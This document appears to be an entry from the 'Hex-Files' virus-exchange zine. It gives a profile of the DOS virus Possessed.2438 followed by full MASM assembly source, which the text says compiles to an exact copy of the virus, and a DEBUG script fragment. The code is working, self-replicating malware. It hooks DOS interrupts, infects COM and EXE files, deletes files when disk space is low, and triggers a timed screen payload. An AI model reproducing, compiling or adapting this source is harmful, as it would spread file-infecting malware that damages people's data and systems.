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Hexfiles Issue 2 File 006
HEX-FILES No. 2 File 006
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Virus: Possessed.2438
Alias: Possessed 1.06, Possessed II
Targets: COM, EXE
Resident: Low Memory TSR
MemorySize: 2944 bytes + environment
MemorySelfRec: [0:1EC] <> 0
VirusLength: 2438 bytes
InfectiveLength:
COM: 2438 bytes
EXE: 2438 + 15 byte alignment
LocationVirusOnFile:
End of file
FileSelfRec:
COM: File[Eof-1067..Eof-1066] = 41h 4bh
EXE: File[18..19] = 70h 19h
ReadableText:
"POSSESSED! Bwa! ha! ha! ha! ha!$
Author: Author: A. Gumba & E. Daya of AdU"
"*.COM *.EXE"
EncryptedText:
"POSSESSED! Bwa! ha! ha! ha! ha!$
Author: Author: A. Gumba & E. Daya of AdU"
"COMMAND.COM"
DisplayedText:
If host program EXEC failed
"POSSESSED! Bwa! ha! ha! ha! ha!"
Payload: Flashing face
PayloadTrigger: After 4 hours if it became resident through COMMAND.COM;
After 1 hour from other programs
ÄÄ POS2438.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;-------------------------------------------------------------------
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
; *WARNING WARNING*
; *WARNING destructive codes intentional damage WARNING*
; *WARNING deletes files WARNING*
; *WARNING WARNING*
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*
;-------------------------------------------------------------------
; Virus: Possessed.2438
; Alias: Possessed 1.06, Possessed II
; Author: JonJon Gumba and E. Daya
; Origin: Adamson University, Manila, Philippines
;-------------------------------------------------------------------
;
; This source code is written in a way so that when compiled you will
; get an exact copy of the virus.
;
; You will only be able to duplicate the original virus if you will
; use *MASM 5.0* to compile this program listing. Other compilers or
; versions of a compiler might produce a virus different from that
; originally released.
;
; If compiled in tasm 2.01, two bytes will differ from the original
; virus, that is, compiled by masm 5.0 This can also be compiled in
; a86 4.02 but you will be creating a new variant.
;
; Compile to COM.
;
;-------------------------------------------------------------------
; Program listing created by Putoksa Kawayan. HEX-FILES No. 2
;-------------------------------------------------------------------
;
ExeHeader struc
isExeId dw ?
isMod dw ?
isBlocks dw ?
isRelocItemCt dw ?
isHeaderSize dw ?
isMinAlloc dw ?
isMaxAlloc dw ?
isSs dw ?
isSp dw ?
isCxSum dw ?
isIp dw ?
isCs dw ?
ExeHeader ends
Possessed segment 'code'
assume cs:Possessed, ds:nothing
org 0
MemoryMarkerLoc equ 01ech
SaveSsOnInt21 equ 01f6h
SaveSpOnInt21 equ 01f4h
PossessedEntry:
push es
xor ax,ax
mov es,ax
jmp FirstGenerationEntry
PossessedId db 13,'POSSESSED! Bwa! ha! ha! ha! ha!$',8,32,10
db 13,'Author: A. Gumba & E. Daya of AdU',10,26
isDos:
jmp DosHandler
DosVersion db ?
FirstGenerationFlag db 1
DosInterrupt label dword
DosIntOffset dw ?
DosIntSegment dw ?
ClockInterrupt label dword
ClockIntOffset dw ?
ClockIntSegment dw ?
ErrorIntOffset dw ?
ErrorIntSegment dw ?
VictimAsciizSegment dw ?
VictimAsciizOffset dw ?
Attribute dw ?
Handle dw ?
FileTime dw ?
FileDate dw ?
ComLength dw ?
AllocatedMemory dw ?
Timer dw ?
Hour db ?
ActivateLength db ?
ViruSs dw ?
ViruSp dw ?
ExeSs dw ?
ExeSp dw ?
ExeCs dw ?
ExeIp dw ?
ExeLengthLo dw ?
ExeLengthHi dw ?
Environment dw ?
Psp dw ?
DosHandler:
pushf
cmp ax,4b00h
jne PassToDos
push ds
push es
push si
push di
push ax
push bx
push cx
push dx
mov bx,dx
mov bl,[bx]
assume cs:Possessed, ds:Possessed
push cs
pop ds
mov ComAsciiz,bl
mov ExeAsciiz,bl
mov ah,2fh
call UseDos
push es
push bx
mov ah,1ah
mov dx,offset SaveVictimCode
call UseDos
mov cx,21h
mov dx,offset ComAsciiz
mov ah,4eh
call UseDos
jnc InfectOthersFirst
mov dx,offset ExeAsciiz
mov ah,4eh
call UseDos
jnc InfectOthersFirst
InfectExecutingProgram:
pop dx
pop ds
mov ah,1ah
call UseDos
pop dx
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
call SaveRegistersBeforeInfect
jmp PassToDos
InfectOthersFirst:
mov dx,offset SaveVictimCode
add dx,28
mov bx,dx
mov cl,ComAsciiz
mov [bx],cl
mov byte ptr [bx+01],':'
call SaveRegistersBeforeInfect
jmp InfectExecutingProgram
SaveRegistersBeforeInfect:
push ds
push es
push si
push di
push ax
push bx
push cx
push dx
jmp SetInfect
assume cs:Possessed, ds:nothing
RestoreRegisters:
pop dx
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
PassToDos:
popf
jmp DosInterrupt
SetInfect:
mov VictimAsciizSegment,ds
mov VictimAsciizOffset,dx
mov si,dx
add si,2
mov bx,si
CheckIfPathSeparator:
cmp byte ptr [si],'\'
jne CheckIfEndOfFileName
mov bx,si
inc bx
jmp CheckNextCharOfFileName
CheckIfEndOfFileName:
cmp byte ptr [si],0
je GotEndOfFileName
CheckNextCharOfFileName:
inc si
jmp CheckIfPathSeparator
RestoreErrorInterrupt:
mov ax,2524h
mov dx,ErrorIntOffset
mov ds,ErrorIntSegment
call UseDos
jmp RestoreRegisters
GotEndOfFileName:
mov si,bx
push cs
pop es
mov di,offset NameofVictim
mov cx,13
cld
repe movsb
assume cs:Possessed, ds:Possessed
push ds
push dx
push es
pop ds
mov ax,3524h
call UseDos
mov ErrorIntSegment,es
mov ErrorIntOffset,bx
mov ax,2524h
mov dx,offset isError
call UseDos
assume cs:Possessed, ds:nothing
pop dx
pop ds
mov ax,4300h
call UseDos
Relay1:
jc RestoreErrorInterrupt
mov Attribute,cx
mov ax,4301h
mov cx,20h
call UseDos
jc Relay1
mov ax,3d02h
call UseDos
jc Relay1
mov Handle,ax
mov bx,ax
mov ax,5700h
call UseDos
mov FileDate,dx
mov FileTime,cx
mov bx,-2
mov ah,48h
call UseDos
jnc EnoughMemory
mov ah,48h
call UseDos
jc Relay1
EnoughMemory:
mov AllocatedMemory,ax
xor cx,cx
mov dx,cx
mov bx,Handle
mov ax,4202h
call UseDos
jc Relay2
mov ComLength,ax
call MovePointerBegin
Relay2:
jc Relay3
mov cx,ComLength
xor dx,dx
mov ds,AllocatedMemory
mov ah,3fh
call UseDos
Relay3:
jc DoneWithFile
push cs
pop es
xor si,si
cmp word ptr [si],'ZM'
jne InfectCheckCom
cmp word ptr [si].isCxSum,1970h
je DoneWithFile
jmp NotInfected
InfectCheckCom:
mov si,cx
sub si,(offset VirusStack-offset FaceData)
js Relay4
cmp word ptr [si],4b41h
je DoneWithFile
Relay4:
jmp NotInfected
DoneWithFile:
mov es,AllocatedMemory
mov ah,49h
call UseDos
mov bx,Handle
mov dx,FileDate
mov cx,FileTime
mov ax,5701h
call UseDos
mov ah,3eh
call UseDos
mov ds,VictimAsciizSegment
mov dx,VictimAsciizOffset
mov cx,Attribute
mov ax,4301h
call UseDos
jmp RestoreRegisters
NotInfected:
push es
mov ds,VictimAsciizSegment
mov si,VictimAsciizOffset
mov dl,[si]
sub dl,'A'-1
assume cs:Possessed, ds:Possessed
pop ds
mov ActivateLength,1
mov si,offset EncryptedCommandCom
mov cx,11
mov al,17h
call Scrambler
mov di,offset NameofVictim
call Compare
pushf
neg al
call Scrambler
popf
jc CheckDiskSpace
cmp DosVersion,3
jnc SetActivateTime
Relay5:
jmp DoneWithFile
SetActivateTime:
mov ActivateLength,4
jmp EnoughDiskSpace
CheckDiskSpace:
mov ah,36h
call UseDos
xor dx,dx
mul bx
mul cx
or dx,dx
jne EnoughDiskSpace
cmp ax,2500
jnc EnoughDiskSpace
jmp DeleteFile
assume cs:Possessed, ds:nothing
EnoughDiskSpace:
mov bx,Handle
call MovePointerBegin
jc Relay5
mov ds,AllocatedMemory
xor si,si
cmp word ptr [si],'ZM'
jne isComFile
jmp isExeFile
Jumper:
mov bx,cs:[100h+(LocComEntry-Jumper)]
mov si,cs:[100h+(LocEndOfFile-Jumper)]
jmp bx
LocComEntry dw ?
LocEndOfFile dw ?
assume cs:Possessed, ds:Possessed
isComFile:
push ds
push ds
mov di,offset SaveVictimCode
mov cx,(offset VirusStack-offset SaveVictimCode)/2
cld
repe movsw
pop es
push cs
pop ds
mov dx,ComLength
cmp ActivateLength,4
jne ComNotCommand
mov LocEndOfFile,dx
sub dx,-((ComEntry-VirusStack)+100h)
mov LocComEntry,dx
jmp JumperSet
ComNotCommand:
push dx
add dx,offset ComEntry+100h
mov LocComEntry,dx
pop dx
add dx,offset VirusStack
mov LocEndOfFile,dx
JumperSet:
mov si,offset Jumper
xor di,di
mov cx,(isComFile-Jumper)/2
cld
repe movsw
mov si,offset PossessedId
mov cx,(isDos-PossessedId)/2
cld
repe movsw
call MovePointerBegin
assume cs:Possessed, ds:nothing
pop ds
mov cx,ComLength
cmp ActivateLength,4
jne NotCommandCom
sub cx,offset VirusStack
NotCommandCom:
xor dx,dx
mov ah,40h
call UseDos
jnc WriteOk
Relay6:
jmp Relay5
WriteOk:
push cs
pop ds
mov dx,offset PossessedEntry
mov cx,offset VirusStack
mov ah,40h
call UseDos
jc Relay6
jmp DoneWithFile
DeleteFile:
mov ds,VictimAsciizSegment
mov dx,VictimAsciizOffset
mov ah,41h
call UseDos
jmp DoneWithFile
PixelRow equ Environment+100h
PixelColumn equ Psp+100h
isClock:
pushf
inc Timer
jne NotYetTime
dec Hour
je ShowTime
NotYetTime:
popf
jmp ClockInterrupt
ShowTime:
popf
mov ax,6
int 10h
assume cs:Possessed, ds:Possessed
push cs
pop ds
xor bx,bx
xor dx,dx
LoadFaceData:
mov si,offset FaceData
mov word ptr PixelRow,200
mov word ptr PixelColumn,0
call ShowPayload
mov word ptr PixelRow,201
mov word ptr PixelColumn,1
call ShowPayload
mov word ptr PixelRow,189
mov word ptr PixelColumn,-1
call ShowPayload
mov word ptr PixelRow,201
mov word ptr PixelColumn,-1
call ShowPayload
mov word ptr PixelRow,189
mov word ptr PixelColumn,1
call ShowPayload
jmp LoadFaceData
ShowPayload:
push si
mov al,1
mov cx,2
EraseFace:
push cx
push si
SetNextCoordinate:
mov bl,[si]
or bl,bl
je EndFaceData
mov cx,bx
add cx,PixelRow
mov dl,[si+1]
add dx,PixelColumn
mov ah,0ch
int 10h
add si,2
jmp SetNextCoordinate
EndFaceData:
pop si
xor al,al
pop cx
loop EraseFace
pop si
ret
assume cs:Possessed, ds:nothing
isExeFile:
mov word ptr [si].isCxSum,1970h
mov ax,[si].isSs
add ax,16
mov ExeSs,ax
mov ax,[si].isSp
mov ExeSp,ax
mov ax,[si].isIp
mov ExeIp,ax
mov ax,[si].isCs
add ax,16
mov ExeCs,ax
mov ax,[si].isBlocks
cmp word ptr [si].isMod,0
je PageAligned
dec ax
PageAligned:
mov bx,512
mul bx
add ax,[si].isMod
adc dx,0
add ax,15
adc dx,0
and ax,0fff0h
mov ExeLengthLo,ax
mov ExeLengthHi,dx
add ax,offset VirusStack
adc dx,0
jc Relay7
div bx
or dx,dx
je AlignedToPage
inc ax
AlignedToPage:
mov [si].isBlocks,ax
mov [si].isMod,dx
mov ax,ExeLengthLo
mov dx,ExeLengthHi
mov bx,16
div bx
sub ax,[si].isHeaderSize
sub ax,16
mov [si].isCs,ax
mov word ptr [si].isIp,offset ExeEntry+100h
mov [si].isSs,ax
mov word ptr [si].isSp,offset VirusStack+100h
mov bx,Handle
call MovePointerBegin
mov cx,28
xor dx,dx
mov ah,40h
call UseDos
assume cs:Possessed, ds:Possessed
push cs
pop ds
mov dx,ExeLengthLo
mov cx,ExeLengthHi
mov ax,4200h
call UseDos
mov dx,offset PossessedEntry
mov cx,offset VirusStack
mov ah,40h
call UseDos
Relay7:
jmp DoneWithFile
assume cs:Possessed, ds:nothing
isError:
xor ax,ax
mov es,ax
mov ss,es:SaveSsOnInt21
mov sp,es:SaveSpOnInt21
pop ax
pop es
pop bp
stc
ret
UseDos:
push bp
push es
push ax
xor ax,ax
mov es,ax
mov es:SaveSpOnInt21,sp
mov es:SaveSsOnInt21,ss
pop ax
pop es
pushf
call DosInterrupt
pop bp
ret
MovePointerBegin:
xor cx,cx
mov dx,cx
mov ax,4200h
call UseDos
ret
MoveCursor:
mov ah,2
xor bx,bx
int 10h
ret
Scrambler:
push cx
push si
Masker:
sub [si],al
inc si
loop Masker
pop si
pop cx
ret
Compare:
push si
push cx
cld
repe cmpsb
je MatchFound
stc
MatchFound:
pop cx
pop si
ret
EncryptedCommandCom db 'C'+17h,'O'+17h,'M'+17h,'M'+17h,'A'+17h
db 'N'+17h,'D'+17h,'.'+17h,'C'+17h,'O'+17h
db 'M'+17h
EncryptedPossessedId db 13+25h,'P'+25h,'O'+25h,'S'+25h,'S'+25h
db 'E'+25h,'S'+25h,'S'+25h,'E'+25h,'D'+25h
db '!'+25h,' '+25h,'B'+25h,'w'+25h,'a'+25h
db '!'+25h,' '+25h,'h'+25h,'a'+25h,'!'+25h
db ' '+25h,'h'+25h,'a'+25h,'!'+25h,' '+25h
db 'h'+25h,'a'+25h,'!'+25h,' '+25h,'h'+25h
db 'a'+25h,'!'+25h,'$'+25h,8+25h,32+25h,10+25h
db 13+25h,'A'+25h,'u'+25h,'t'+25h,'h'+25h
db 'o'+25h,'r'+25h,':'+25h,' '+25h,'A'+25h
db '.'+25h,' '+25h,'G'+25h,'u'+25h,'m'+25h
db 'b'+25h,'a'+25h,' '+25h,'&'+25h,' '+25h
db 'E'+25h,'.'+25h,' '+25h,'D'+25h,'a'+25h
db 'y'+25h,'a'+25h,' '+25h,'o'+25h,'f'+25h
db ' '+25h,'A'+25h,'d'+25h,'U'+25h,10+25h
db 26+25h
;----------------------------
;--------------Possessed payload data
;----------------------------
FaceData label byte
db 41h,4bh,42h,4bh,42h,4ch,43h,4ch,44h,4ch,45h,4ch,43h,4dh,46h
db 4dh,47h,4dh,44h,4eh,48h,4eh,49h,4eh,4ah,4eh,45h,4fh,4bh,4fh
db 4ch,4fh,0b6h,4ah,0b5h,4ah,0b5h,4bh,0b4h,4bh,0b3h,4bh,0b2h,4bh,0b4h
db 4ch,0b1h,4ch,0b0h,4ch,0b3h,4dh,0afh,4dh,0aeh,4dh,0adh,4dh,0b2h,4eh
db 0ach,4eh,0abh,4eh,4ch,54h,4ch,55h,4dh,55h,4eh,55h,4fh,56h,50h
db 56h,51h,56h,52h,56h,53h,56h,54h,57h,55h,57h,56h,57h,57h,57h
db 58h,57h,59h,58h,5ah,58h,5bh,58h,5ch,58h,5dh,58h,5ah,59h,5bh
db 59h,5ch,59h,5dh,59h,60h,59h,5fh,59h,60h,59h,61h,59h,62h,59h
db 5bh,5ah,5ch,5ah,63h,5ah,64h,5ah,65h,5ah,66h,5ah,67h,5ah,5ch
db 5bh,68h,5bh,69h,5bh,6ah,5bh,6bh,5bh,6ch,5bh,6dh,5ch,6eh,5ch
db 6fh,5ch,70h,5dh,0b1h,53h,0b0h,54h,0afh,54h,0aeh,54h,0adh,55h,0ach
db 55h,0abh,55h,0aah,55h,0a9h,55h,0a8h,55h,0a7h,56h,0a6h,56h,0a5h,56h
db 0a4h,56h,0a3h,56h,0a2h,57h,0a1h,57h,0a0h,57h,9fh,57h,9eh,57h,9dh
db 57h,9ch,58h,9bh,58h,9ah,58h,99h,58h,98h,58h,9ah,59h,99h,59h
db 98h,59h,97h,59h,96h,59h,95h,59h,94h,59h,93h,59h,92h,59h,99h
db 5ah,98h,5ah,91h,5ah,90h,5ah,8fh,5ah,8eh,5ah,8dh,5ah,98h,5bh
db 8ch,5bh,8bh,5bh,8ah,5bh,89h,5bh,88h,5bh,87h,5bh,86h,5ch,85h
db 5ch,84h,5ch,83h,5ch,76h,63h,75h,64h,75h,65h,74h,66h,74h,67h
db 73h,68h,73h,69h,72h,6ah,71h,6bh,71h,6ch,70h,6dh,70h,6eh,6fh
db 6fh,6eh,70h,6eh,71h,7bh,71h,6dh,72h,7ah,72h,79h,72h,6dh,73h
db 78h,73h,77h,73h,76h,73h,75h,73h,6ch,74h,71h,74h,72h,74h,73h
db 74h,74h,74h,6ch,75h,6dh,75h,6eh,75h,6fh,75h,70h,75h,6bh,76h
db 6ch,76h,6dh,81h,6eh,81h,6fh,81h,70h,80h,71h,80h,72h,80h,73h
db 80h,74h,7fh,75h,7fh,76h,7fh,77h,7fh,78h,7eh,79h,7eh,7ah,7eh
db 7bh,7eh,7ch,7dh,7dh,7dh,7eh,7dh,7fh,7dh,80h,7dh,81h,7ch,82h
db 7ch,83h,7ch,84h,7ch,85h,7bh,86h,7bh,87h,7bh,88h,7bh,89h,7ah
db 8ah,7ah,8bh,7ah,8ch,7ah,8dh,79h,8eh,79h,8fh,79h,90h,79h,91h
db 78h,92h,78h,93h,78h,94h,77h,95h,77h,96h,76h,97h,76h,98h,75h,0
ComAsciiz db 'C:*.COM',0
ExeAsciiz db 'C:*.EXE',0
ExeEntry:
push es
xor ax,ax
mov es,ax
cmp byte ptr es:MemoryMarkerLoc,0
jne ExecuteExeVictim
mov si,100h
jmp ExeNotInMemory
ExecuteExeVictim:
pop es
mov ax,es
add ax,ExeSs+100h
mov ss,ax
mov sp,ExeSp+100h
mov ax,es
add ax,ExeCs+100h
mov DosIntSegment+100h,ax
mov ax,ExeIp+100h
mov DosIntOffset+100h,ax
clc
jmp DosInterrupt+100h
SecondCodeMove:
cld
repe movsb
xor ax,ax
mov es,ax
FirstGenerationEntry:
mov byte ptr es:MemoryMarkerLoc,1
pop ax
add ax,16
push ax
mov ax,offset SetUpPossessed
push ax
retf
assume cs:Possessed, ds:Possessed
SetUpPossessed:
mov ax,sp
sub ax,100h
mov sp,ax
mov ax,cs
mov ds,ax
mov ss,ax
push ds
sub ax,16
mov es,ax
mov Psp,es
push ax
mov ax,es:[2ch]
mov Environment,ax
pop ax
push ds
push es
mov ds,ax
push cs
pop es
mov si,0ah
mov di,offset VirusStack
mov cx,6
cld
repe movsw
mov bx,offset isTerminate
mov ds:[0ah],bx
mov ds:[0ch],cs
pop es
pop ds
pop es
mov si,offset EncryptedPossessedId
mov cx,(offset FaceData-offset EncryptedPossessedId)
push cx
mov al,25h
call Scrambler
mov di,offset PossessedId
push si
cld
repe movsb
pop si
pop cx
neg al
call Scrambler
mov ax,word ptr ds:ExeEntry
add ax,(3521h-3306h)
int 21h
mov DosIntOffset,bx
mov DosIntSegment,es
mov dx,offset isDos
sub ah,10h
call UseDos
mov Timer,0
mov dl,ActivateLength
mov Hour,dl
add ax,(3508h-2521h)
call UseDos
mov ClockIntOffset,bx
mov ClockIntSegment,es
mov dx,offset isClock
sub ah,10h
call UseDos
push cs
pop ds
mov es,Psp
mov ah,49h
call UseDos
mov dx,offset VirusStack
mov cl,4
shr dx,cl
add dx,20h
mov ah,31h
call UseDos
isTerminate:
push cs
push cs
pop ds
mov es,Psp
mov si,offset VirusStack
mov di,0ah
mov cx,6
cld
repe movsw
pop es
cmp FirstGenerationFlag,1
jne NotFirstGen
mov FirstGenerationFlag,0
jmp GetReturnCode
NotFirstGen:
mov ax,Psp
mov si,offset ExecParam
mov [si+4],ax
mov word ptr [si+2],80h
mov [si+8],ax
mov word ptr [si+6],5ch
mov [si+12],ax
mov word ptr [si+10],6ch
mov ax,Environment
mov [si],ax
mov ah,30h
int 21h
mov DosVersion,al
cmp al,3
jc NameNotInEnvironment
mov ds,Environment
xor si,si
mov cx,200
FindFileName:
cmp byte ptr [si],1
jne CheckNextChar
cmp byte ptr [si+03],':'
jne CheckNextChar
mov dx,si
add dx,2
jmp FoundFileName
CheckNextChar:
inc si
loop FindFileName
NameNotInEnvironment:
push cs
pop ds
mov si,offset NameofVictim
mov di,offset VirusAsciiz
mov cx,13
cld
repe movsb
mov dx,offset VirusAsciiz
assume cs:Possessed, ds:nothing
FoundFileName:
cli
mov ViruSs,ss
mov ViruSp,sp
sti
mov ax,4b00h
mov bx,offset ExecParam
cmp DosVersion,3
jc OldDos
call UseDos
jmp VictimExecuted
OldDos:
int 21h
VictimExecuted:
cli
mov ss,ViruSs
mov sp,ViruSp
sti
push cs
pop ds
jnc GetReturnCode
mov dx,offset PossessedId
mov ah,9
int 21h
GetReturnCode:
mov ah,4dh
int 21h
mov ah,4ch
int 21h
NameofVictim db 13 dup (?)
ComEntry:
add si,100h
push es
xor ax,ax
mov es,ax
cmp word ptr es:MemoryMarkerLoc,0
je NotInMemory
pop es
sub si,5ah ;(VirusStack-SaveVictimCode)
mov di,100h
mov cx,(offset VirusStack-offset SaveVictimCode)/2
cld
repe movsw
mov bx,100h
clc
jmp bx
assume cs:Possessed, ds:Possessed
NotInMemory:
sub si,offset VirusStack
ExeNotInMemory:
pop es
push cs
pop ds
mov di,100h
mov cx,offset ExeNotInMemory
shr cx,1
cld
repe movsw
mov cx,(offset VirusStack-offset ExeNotInMemory)
mov DosIntSegment+100h,es
mov DosIntOffset+100h,offset SecondCodeMove+100h
push es
jmp cs:DosInterrupt+100h
SaveVictimCode db 90 dup (?)
VirusStack dw ?
VirusAsciiz db 13 dup (?)
ExecParam dw 7 dup (?)
Possessed ends
end PossessedEntry
ÄÄ POS2438.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄ POS2438.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N POS2438.COM
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RCX
0B4D
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ÄÄ POS2438.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
EoF.
